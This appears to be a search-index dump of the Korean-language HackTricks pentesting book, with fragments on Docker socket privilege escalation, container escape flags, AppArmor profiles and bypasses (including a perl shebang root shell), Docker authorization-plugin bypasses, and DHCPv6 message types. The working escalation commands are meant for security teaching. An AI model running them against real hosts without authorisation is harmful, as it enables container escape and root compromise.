HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 때때로 docker 소켓에 접근할 수 있으며 이를 사용하여 권한을 상승 시키고 싶을 수 있습니다. 일부 작업은 매우 의심스러울 수 있으므로 피하고 싶을 수 있습니다. 여기에서 권한 상승에 유용할 수 있는 다양한 플래그를 찾을 수 있습니다:","breadcrumbs":"Linux Privilege Escalation » Docker Security » Abusing Docker Socket for Privilege Escalation » Docker 소켓을 이용한 권한 상승","id":"1564","title":"Docker 소켓을 이용한 권한 상승"},"1565":{"body":"루트로 실행 중인 컨테이너에서 파일 시스템 의 다양한 부분을 마운트 하고 접근 할 수 있습니다. 컨테이너 내부에서 권한을 상승시키기 위해 마운트를 악용 할 수도 있습니다. -v /:/host -> 호스트 파일 시스템을 컨테이너에 마운트하여 호스트 파일 시스템을 읽을 수 있습니다. 호스트에 있는 것처럼 느끼고 싶지만 컨테이너에 있는 경우 다음과 같은 플래그를 사용하여 다른 방어 메커니즘을 비활성화할 수 있습니다: --privileged --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined -security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host --device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -> 이전 방법과 유사하지만 여기서는 디바이스 디스크를 마운트 하고 있습니다. 그런 다음 컨테이너 내부에서 mount /dev/sda1 /mnt를 실행하면 /mnt 에서 호스트 파일 시스템에 접근 할 수 있습니다. 호스트에서 fdisk -l을 실행하여 마운트할 디바이스를 찾습니다. -v /tmp:/host -> 어떤 이유로 호스트에서 특정 디렉토리만 마운트 할 수 있고 호스트 내부에 접근할 수 있는 경우, 이를 마운트하고 마운트된 디렉토리에 suid 가 있는 **/bin/bash**를 생성하여 호스트에서 실행하고 루트로 상승 할 수 있습니다. note /tmp 폴더를 마운트할 수 없지만 다른 쓰기 가능한 폴더 를 마운트할 수 있을 수 있습니다. 쓰기 가능한 디렉토리를 찾으려면: find / -writable -type d 2>/dev/null을 사용하세요. 리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다! suid 비트를 지원하는 디렉토리를 확인하려면 mount | grep -v \\"nosuid\\"를 실행하세요. 예를 들어 일반적으로 /dev/shm, /run, /proc, /sys/fs/cgroup, /var/lib/lxcfs는 suid 비트를 지원하지 않습니다. 또한 /etc 또는 구성 파일이 포함된 다른 폴더 를 마운트 할 수 있는 경우, 컨테이너에서 루트로 이를 변경하여 호스트에서 악용 하고 권한을 상승시킬 수 있습니다 (예: /etc/shadow 수정).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Abusing Docker Socket for Privilege Escalation » 마운트를 통한 방법","id":"1565","title":"마운트를 통한 방법"},"1566":{"body":"--privileged -> 이 플래그를 사용하면 컨테이너의 모든 격리를 제거합니다 . 루트로 권한 상승하기 위한 탈출 기술 을 확인하세요. --cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable] -> 권한을 악용하여 상승시키기 위해 , 해당 권한을 컨테이너에 부여하고 익스플로잇이 작동하는 것을 방지할 수 있는 다른 보호 방법을 비활성화합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Abusing Docker Socket for Privilege Escalation » 컨테이너에서 탈출하기","id":"1566","title":"컨테이너에서 탈출하기"},"1567":{"body":"이 페이지에서는 docker 플래그를 사용하여 권한을 상승시키는 방법에 대해 논의했습니다. curl 명령을 사용하여 이러한 방법을 악용하는 방법을 찾을 수 있습니다 : tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Abusing Docker Socket for Privilege Escalation » Curl","id":"1567","title":"Curl"},"1568":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » AppArmor","id":"1568","title":"AppArmor"},"1569":{"body":"AppArmor는 프로그램별 프로필을 통해 프로그램에 사용할 수 있는 리소스를 제한하도록 설계된 커널 향상 기능 으로, 접근 제어 속성을 사용자 대신 프로그램에 직접 연결하여 강제 접근 제어(MAC)를 효과적으로 구현합니다. 이 시스템은 부팅 중에 프로필을 커널에 로드 하여 작동하며, 이러한 프로필은 프로그램이 접근할 수 있는 리소스(예: 네트워크 연결, 원시 소켓 접근 및 파일 권한)를 규정합니다. AppArmor 프로필에는 두 가지 운영 모드가 있습니다: 강제 모드 : 이 모드는 프로필 내에서 정의된 정책을 적극적으로 시행하며, 이러한 정책을 위반하는 행동을 차단하고 syslog 또는 auditd와 같은 시스템을 통해 위반 시도를 기록합니다. 불만 모드 : 강제 모드와 달리 불만 모드는 프로필의 정책에 반하는 행동을 차단하지 않습니다. 대신, 이러한 시도를 정책 위반으로 기록하되 제한을 시행하지 않습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 기본 정보","id":"1569","title":"기본 정보"},"157":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. DHCPv6와 DHCPv4 메시지 유형의 비교는 아래 표에 제시되어 있습니다: DHCPv6 메시지 유형 DHCPv4 메시지 유형 Solicit (1) DHCPDISCOVER Advertise (2) DHCPOFFER Request (3), Renew (5), Rebind (6) DHCPREQUEST Reply (7) DHCPACK / DHCPNAK Release (8) DHCPRELEASE Information-Request (11) DHCPINFORM Decline (9) DHCPDECLINE Confirm (4) none Reconfigure (10) DHCPFORCERENEW Relay-Forw (12), Relay-Reply (13) none DHCPv6 메시지 유형에 대한 자세한 설명: Solicit (1) : 사용 가능한 서버를 찾기 위해 DHCPv6 클라이언트에 의해 시작됩니다. Advertise (2) : Solicit에 대한 응답으로 서버가 전송하며, DHCP 서비스의 가용성을 나타냅니다. Request (3) : 클라이언트가 특정 서버로부터 IP 주소나 프리픽스를 요청하는 데 사용됩니다. Confirm (4) : 클라이언트가 할당된 주소가 여전히 네트워크에서 유효한지 확인하는 데 사용되며, 일반적으로 네트워크 변경 후에 사용됩니다. Renew (5) : 클라이언트가 원래 서버에 주소 수명을 연장하거나 구성을 업데이트하기 위해 전송합니다. Rebind (6) : 주소 수명을 연장하거나 구성을 업데이트하기 위해 어떤 서버에든 전송되며, Renew에 대한 응답이 없을 때 특히 사용됩니다. Reply (7) : 서버가 주소, 구성 매개변수 제공 또는 Release 또는 Decline과 같은 메시지를 확인하는 데 사용합니다. Release (8) : 클라이언트가 서버에 하나 이상의 할당된 주소 사용 중지를 알립니다. Decline (9) : 클라이언트가 할당된 주소가 네트워크에서 충돌하고 있음을 보고하기 위해 전송합니다. Reconfigure (10) : 서버가 클라이언트에게 새로운 또는 업데이트된 구성을 위한 거래를 시작하도록 유도합니다. Information-Request (11) : 클라이언트가 IP 주소 할당 없이 구성 매개변수를 요청합니다. Relay-Forw (12) : 릴레이 에이전트가 메시지를 서버로 전달합니다. Relay-Repl (13) : 서버가 릴레이 에이전트에 응답하며, 이후 릴레이 에이전트가 클라이언트에게 메시지를 전달합니다.","breadcrumbs":"Pentesting Network » DHCPv6 » DHCPv6 vs. DHCPv4 메시지 유형 비교","id":"157","title":"DHCPv6 vs. DHCPv4 메시지 유형 비교"},"1570":{"body":"커널 모듈 : 정책 시행을 담당합니다. 정책 : 프로그램 동작 및 리소스 접근에 대한 규칙과 제한을 지정합니다. 파서 : 정책을 커널에 로드하여 시행 또는 보고합니다. 유틸리티 : AppArmor와 상호작용하고 관리하기 위한 인터페이스를 제공하는 사용자 모드 프로그램입니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » AppArmor의 구성 요소","id":"1570","title":"AppArmor의 구성 요소"},"1571":{"body":"AppArmor 프로필은 일반적으로 _ /etc/apparmor.d/ _에 저장됩니다. sudo aa-status를 사용하면 일부 프로필에 의해 제한된 바이너리를 나열할 수 있습니다. 나열된 각 바이너리의 경로에서 문자 \\"/\\"를 점으로 변경하면 언급된 폴더 내의 AppArmor 프로필 이름을 얻을 수 있습니다. 예를 들어, _/usr/bin/man_에 대한 AppArmor 프로필은 _/etc/apparmor.d/usr.bin.man_에 위치합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 프로필 경로","id":"1571","title":"프로필 경로"},"1572":{"body":"bash aa-status #check the current status\\naa-enforce #set profile to enforce mode (from disable or complain)\\naa-complain #set profile to complain mode (from diable or enforcement)\\napparmor_parser #to load/reload an altered policy\\naa-genprof #generate a new profile\\naa-logprof #used to change the policy when the binary/program is changed\\naa-mergeprof #used to merge the policies","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 명령어","id":"1572","title":"명령어"},"1573":{"body":"영향을 받는 실행 파일을 나타내기 위해 절대 경로와 와일드카드 가 파일을 지정하는 데 허용됩니다. 바이너리가 파일 에 대해 가질 접근을 나타내기 위해 다음 접근 제어 를 사용할 수 있습니다: r (읽기) w (쓰기) m (실행 가능한 메모리 맵) k (파일 잠금) l (하드 링크 생성) ix (새 프로그램이 정책을 상속받아 다른 프로그램을 실행) Px (환경을 정리한 후 다른 프로필에서 실행) Cx (환경을 정리한 후 자식 프로필에서 실행) Ux (환경을 정리한 후 제한 없이 실행) 변수 는 프로필에서 정의할 수 있으며 프로필 외부에서 조작할 수 있습니다. 예: @{PROC} 및 @{HOME} (프로필 파일에 #include 추가) 허용 규칙을 무시하기 위해 거부 규칙이 지원됩니다 .","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 프로필 생성","id":"1573","title":"프로필 생성"},"1574":{"body":"프로필 생성을 쉽게 시작하기 위해 apparmor가 도움을 줄 수 있습니다. apparmor가 바이너리에 의해 수행된 작업을 검사하고 어떤 작업을 허용하거나 거부할지 결정할 수 있게 해줍니다 . 단지 다음을 실행하면 됩니다: bash sudo aa-genprof /path/to/binary 그런 다음, 다른 콘솔에서 바이너리가 일반적으로 수행할 모든 작업을 수행합니다: bash /path/to/binary -a dosomething 그런 다음 첫 번째 콘솔에서 \\" s \\"를 누르고 기록된 작업에서 무시, 허용 또는 기타를 선택합니다. 완료되면 \\" f \\"를 눌러 새 프로필이 _/etc/apparmor.d/path.to.binary_에 생성됩니다. note 화살표 키를 사용하여 허용/거부/기타를 선택할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » aa-genprof","id":"1574","title":"aa-genprof"},"1575":{"body":"이진 파일의 apparmor 프로필 템플릿을 다음과 같이 생성할 수 있습니다: bash sudo aa-easyprof /path/to/binary\\n# vim:syntax=apparmor\\n# AppArmor policy for binary\\n# ###AUTHOR###\\n# ###COPYRIGHT###\\n# ###COMMENT### #include # No template variables specified \\"/path/to/binary\\" {\\n#include # No abstractions specified # No policy groups specified # No read paths specified # No write paths specified\\n} note 기본적으로 생성된 프로필에서는 아무것도 허용되지 않으므로 모든 것이 거부됩니다. 예를 들어, 이진 파일이 /etc/passwd를 읽을 수 있도록 /etc/passwd r,와 같은 줄을 추가해야 합니다. 그런 다음 enforce 새 프로필을 사용할 수 있습니다. bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » aa-easyprof","id":"1575","title":"aa-easyprof"},"1576":{"body":"다음 도구는 로그를 읽고 사용자가 감지된 금지된 행동 중 일부를 허용할 것인지 물어봅니다: bash sudo aa-logprof note 화살표 키를 사용하여 허용/거부/기타 원하는 항목을 선택할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 로그에서 프로필 수정","id":"1576","title":"로그에서 프로필 수정"},"1577":{"body":"bash #Main profile management commands\\napparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode\\napparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain mode\\napparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile\\napparmor_parser -R /etc/apparmor.d/profile.name #Remove profile","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 프로필 관리","id":"1577","title":"프로필 관리"},"1578":{"body":"Example of AUDIT and DENIED logs from /var/log/audit/audit.log of the executable service_bin : bash type=AVC msg=audit(1610061880.392:286): apparmor=\\"AUDIT\\" operation=\\"getattr\\" profile=\\"/bin/rcat\\" name=\\"/dev/pts/1\\" pid=954 comm=\\"service_bin\\" requested_mask=\\"r\\" fsuid=1000 ouid=1000\\ntype=AVC msg=audit(1610061880.392:287): apparmor=\\"DENIED\\" operation=\\"open\\" profile=\\"/bin/rcat\\" name=\\"/etc/hosts\\" pid=954 comm=\\"service_bin\\" requested_mask=\\"r\\" denied_mask=\\"r\\" fsuid=1000 ouid=0 이 정보를 다음을 사용하여 얻을 수도 있습니다: bash sudo aa-notify -s 1 -v\\nProfile: /bin/service_bin\\nOperation: open\\nName: /etc/passwd\\nDenied: r\\nLogfile: /var/log/audit/audit.log Profile: /bin/service_bin\\nOperation: open\\nName: /etc/hosts\\nDenied: r\\nLogfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)\\nFor more information, please see: https://wiki.ubuntu.com/DebuggingApparmor","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » Logs","id":"1578","title":"Logs"},"1579":{"body":"docker의 프로파일 docker-profile 이 기본적으로 로드되는 방식을 주목하세요: bash sudo aa-status\\napparmor module is loaded.\\n50 profiles are loaded.\\n13 profiles are in enforce mode.\\n/sbin/dhclient\\n/usr/bin/lxc-start\\n/usr/lib/NetworkManager/nm-dhcp-client.action\\n/usr/lib/NetworkManager/nm-dhcp-helper\\n/usr/lib/chromium-browser/chromium-browser//browser_java\\n/usr/lib/chromium-browser/chromium-browser//browser_openjdk\\n/usr/lib/chromium-browser/chromium-browser//sanitized_helper\\n/usr/lib/connman/scripts/dhclient-script\\ndocker-default 기본적으로 Apparmor docker-default 프로필 은 https://github.com/moby/moby/tree/master/profiles/apparmor 에서 생성됩니다. docker-default 프로필 요약 : 모든 네트워킹 에 대한 접근 능력 이 정의되어 있지 않음 (그러나 일부 능력은 기본 기본 규칙을 포함하여 올 수 있음, 즉 #include ) /proc 파일에 대한 쓰기 는 허용되지 않음 / proc 및 / sys 의 다른 하위 디렉토리 / 파일 에 대한 읽기/쓰기/잠금/링크/실행 접근이 거부됨 마운트 는 허용되지 않음 Ptrace 는 같은 apparmor 프로필 에 의해 제한된 프로세스에서만 실행할 수 있음 docker 컨테이너를 실행하면 다음 출력을 볼 수 있어야 합니다: bash 1 processes are in enforce mode.\\ndocker-default (825) apparmor는 기본적으로 컨테이너에 부여된 권한을 차단합니다. 예를 들어, 기본적으로 docker apparmor 프로필이 이 접근을 거부하기 때문에 SYS_ADMIN 권한이 부여되더라도 /proc 내부에 쓰기 권한을 차단할 수 있습니다: bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash\\necho \\"\\" > /proc/stat\\nsh: 1: cannot create /proc/stat: Permission denied You need to disable apparmor to bypass its restrictions: apparmor 의 제한을 우회하려면 비활성화 해야 합니다: bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash 기본적으로 AppArmor 는 컨테이너가 내부에서 폴더를 마운트하는 것을 금지합니다 , 심지어 SYS_ADMIN 권한이 있어도 그렇습니다. 컨테이너에 권한 을 추가/제거 할 수 있지만 (여전히 AppArmor 및 Seccomp 와 같은 보호 방법에 의해 제한됩니다): --cap-add=SYS_ADMIN SYS_ADMIN 권한 부여 --cap-add=ALL 모든 권한 부여 --cap-drop=ALL --cap-add=SYS_PTRACE 모든 권한 제거하고 SYS_PTRACE만 부여 note 일반적으로 docker 컨테이너 내부 에서 특권 권한 이 있지만 익스플로잇의 일부가 작동하지 않는 경우, 이는 docker apparmor가 이를 방지하고 있기 때문입니다 .","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » Docker의 Apparmor","id":"1579","title":"Docker의 Apparmor"},"158":{"body":"https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » DHCPv6 » References","id":"158","title":"References"},"1580":{"body":"(예시는 여기 에서 가져옴) AppArmor 기능을 설명하기 위해, 다음과 같은 줄을 추가하여 새로운 Docker 프로필 “mydocker”를 생성했습니다: deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) 프로필을 활성화하려면 다음을 수행해야 합니다: sudo apparmor_parser -r -W mydocker 프로필을 나열하려면 다음 명령을 실행할 수 있습니다. 아래 명령은 내 새로운 AppArmor 프로필을 나열하고 있습니다. $ sudo apparmor_status | grep mydocker\\nmydocker 아래와 같이, AppArmor 프로파일이 “/etc”에 대한 쓰기 접근을 방지하고 있기 때문에 “/etc/”를 변경하려고 할 때 오류가 발생합니다. $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname\\nchmod: /etc/hostname: Permission denied","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » 예시","id":"1580","title":"예시"},"1581":{"body":"어떤 apparmor 프로파일이 컨테이너를 실행하고 있는지 확인하려면 다음을 사용하세요: bash docker inspect 9d622d73a614 | grep lowpriv\\n\\"AppArmorProfile\\": \\"lowpriv\\",\\n\\"apparmor=lowpriv\\" 그런 다음, 다음 명령어를 실행하여 사용 중인 정확한 프로필을 찾을 수 있습니다 : bash find /etc/apparmor.d/ -name \\"*lowpriv*\\" -maxdepth 1 2>/dev/null 이상한 경우에 apparmor 도커 프로필을 수정하고 다시 로드할 수 있습니다. 제한을 제거하고 \\"우회\\"할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » AppArmor Docker Bypass1","id":"1581","title":"AppArmor Docker Bypass1"},"1582":{"body":"AppArmor는 경로 기반 입니다. 이는 **/proc**와 같은 디렉토리 내의 파일을 보호 하고 있을지라도, 컨테이너가 어떻게 실행될지를 구성할 수 있다면 , 호스트의 proc 디렉토리를 **/host/proc**에 마운트 할 수 있으며, 그러면 더 이상 AppArmor에 의해 보호되지 않습니다 .","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » AppArmor Docker Bypass2","id":"1582","title":"AppArmor Docker Bypass2"},"1583":{"body":"이 버그 에서 특정 리소스와 함께 perl 실행을 방지하고 있더라도 , 첫 번째 줄에 **#!/usr/bin/perl**을 지정한 셸 스크립트를 생성하고 파일을 직접 실행하면 , 원하는 것을 실행할 수 있는 예를 볼 수 있습니다. 예: perl echo \'#!/usr/bin/perl\\nuse POSIX qw(strftime);\\nuse POSIX qw(setuid);\\nPOSIX::setuid(0);\\nexec \\"/bin/sh\\"\' > /tmp/test.pl\\nchmod +x /tmp/test.pl\\n/tmp/test.pl tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AppArmor » AppArmor Shebang Bypass","id":"1583","title":"AppArmor Shebang Bypass"},"1584":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Docker 의 기본 권한 부여 모델은 모두 또는 없음 입니다. Docker 데몬에 접근할 수 있는 권한이 있는 사용자는 모든 Docker 클라이언트 명령 을 실행 할 수 있습니다. Docker의 Engine API를 사용하여 데몬에 연락하는 호출자에게도 동일하게 적용됩니다. 더 큰 접근 제어 가 필요한 경우, 권한 부여 플러그인 을 생성하고 이를 Docker 데몬 구성에 추가할 수 있습니다. 권한 부여 플러그인을 사용하면 Docker 관리자가 Docker 데몬에 대한 접근을 관리하기 위한 세분화된 접근 정책을 구성 할 수 있습니다. Docker Auth 플러그인은 외부 플러그인 으로, 요청된 작업 을 허용/거부 할 수 있습니다. 이는 요청한 사용자 와 요청된 작업 에 따라 달라집니다. 다음 정보는 문서에서 가져온 것입니다 HTTP 요청 이 CLI를 통해 또는 Engine API를 통해 Docker 데몬 에 전달되면, 인증 하위 시스템 이 설치된 인증 플러그인 (들)에게 요청을 전달합니다. 요청에는 사용자(호출자)와 명령 컨텍스트가 포함됩니다. 플러그인 은 요청을 허용 할지 거부 할지를 결정하는 책임이 있습니다. 아래의 시퀀스 다이어그램은 허용 및 거부 권한 부여 흐름을 나타냅니다: Authorization Allow flow Authorization Deny flow 플러그인에 전송된 각 요청은 인증된 사용자, HTTP 헤더 및 요청/응답 본문 을 포함합니다. 사용자 이름 과 사용된 인증 방법 만 플러그인에 전달됩니다. 가장 중요한 것은 사용자 자격 증명 이나 토큰이 전달되지 않는다는 것입니다. 마지막으로, 모든 요청/응답 본문이 권한 부여 플러그인에 전송되는 것은 아닙니다. Content-Type이 text/* 또는 application/json인 요청/응답 본문만 전송됩니다. HTTP 연결을 잠재적으로 탈취할 수 있는 명령(HTTP Upgrade), 예를 들어 exec와 같은 경우, 권한 부여 플러그인은 초기 HTTP 요청에 대해서만 호출됩니다. 플러그인이 명령을 승인하면 나머지 흐름에는 권한 부여가 적용되지 않습니다. 특히, 스트리밍 데이터는 권한 부여 플러그인에 전달되지 않습니다. 청크된 HTTP 응답을 반환하는 명령, 예를 들어 logs 및 events와 같은 경우, HTTP 요청만 권한 부여 플러그인에 전송됩니다. 요청/응답 처리 중 일부 권한 부여 흐름은 Docker 데몬에 추가 쿼리를 수행해야 할 수 있습니다. 이러한 흐름을 완료하기 위해 플러그인은 일반 사용자와 유사하게 데몬 API를 호출할 수 있습니다. 이러한 추가 쿼리를 활성화하려면 플러그인이 관리자가 적절한 인증 및 보안 정책을 구성할 수 있는 수단을 제공해야 합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 기본 아키텍처","id":"1584","title":"기본 아키텍처"},"1585":{"body":"Docker 데몬 시작 의 일환으로 플러그인 을 등록 하는 것은 귀하의 책임입니다. 여러 플러그인을 설치하고 함께 연결 할 수 있습니다. 이 체인은 순서가 있을 수 있습니다. 데몬에 대한 각 요청은 순서대로 체인을 통과합니다. 모든 플러그인이 리소스에 대한 접근을 허용 할 때만 접근이 허용됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 여러 플러그인","id":"1585","title":"여러 플러그인"},"1586":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 플러그인 예제","id":"1586","title":"플러그인 예제"},"1587":{"body":"플러그인 authz 는 요청을 승인하기 위해 플러그인 이 읽을 JSON 파일을 생성할 수 있게 해줍니다. 따라서 각 사용자가 어떤 API 엔드포인트에 접근할 수 있는지를 매우 쉽게 제어할 수 있는 기회를 제공합니다. 다음은 Alice와 Bob이 새로운 컨테이너를 생성할 수 있도록 허용하는 예입니다: {\\"name\\":\\"policy_3\\",\\"users\\":[\\"alice\\",\\"bob\\"],\\"actions\\":[\\"container_create\\"]} 페이지 route_parser.go 에서 요청된 URL과 작업 간의 관계를 찾을 수 있습니다. 페이지 types.go 에서 작업 이름과 작업 간의 관계를 찾을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Twistlock AuthZ Broker","id":"1587","title":"Twistlock AuthZ Broker"},"1588":{"body":"설치 및 디버깅에 대한 자세한 정보가 포함된 이해하기 쉬운 플러그인 을 여기에서 찾을 수 있습니다: https://github.com/carlospolop-forks/authobot README 및 plugin.go 코드를 읽어 작동 방식을 이해하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 간단한 플러그인 튜토리얼","id":"1588","title":"간단한 플러그인 튜토리얼"},"1589":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Docker Auth Plugin 우회","id":"1589","title":"Docker Auth Plugin 우회"},"159":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이는 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 에서 노출된 공격의 요약입니다. 추가 정보를 확인하세요.","breadcrumbs":"Pentesting Network » EIGRP Attacks » EIGRP 공격","id":"159","title":"EIGRP 공격"},"1590":{"body":"확인해야 할 주요 사항은 어떤 엔드포인트가 허용되는지 와 어떤 HostConfig 값이 허용되는지 입니다. 이 열거를 수행하기 위해 도구 https://github.com/carlospolop/docker_auth_profiler 를 사용할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 접근 열거","id":"1590","title":"접근 열거"},"1591":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 허용되지 않는 run --privileged","id":"1591","title":"허용되지 않는 run --privileged"},"1592":{"body":"bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 최소 권한","id":"1592","title":"최소 권한"},"1593":{"body":"이 경우 시스템 관리자는 사용자가 볼륨을 마운트하고 --privileged 플래그로 컨테이너를 실행하는 것을 금지 하거나 컨테이너에 추가 권한을 부여하는 것을 금지했습니다: bash docker run -d --privileged modified-ubuntu\\ndocker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.\\nSee \'docker run --help\'. 그러나 사용자는 실행 중인 컨테이너 내에서 셸을 생성하고 추가 권한을 부여할 수 있습니다 : bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu\\n#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de # Now you can run a shell with --privileged\\ndocker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash\\n# With --cap-add=ALL\\ndocker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash\\n# With --cap-add=SYS_ADMIN\\ndocker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash 이제 사용자는 이전에 논의된 기술 을 사용하여 컨테이너에서 탈출하고 호스트 내에서 권한을 상승 시킬 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » 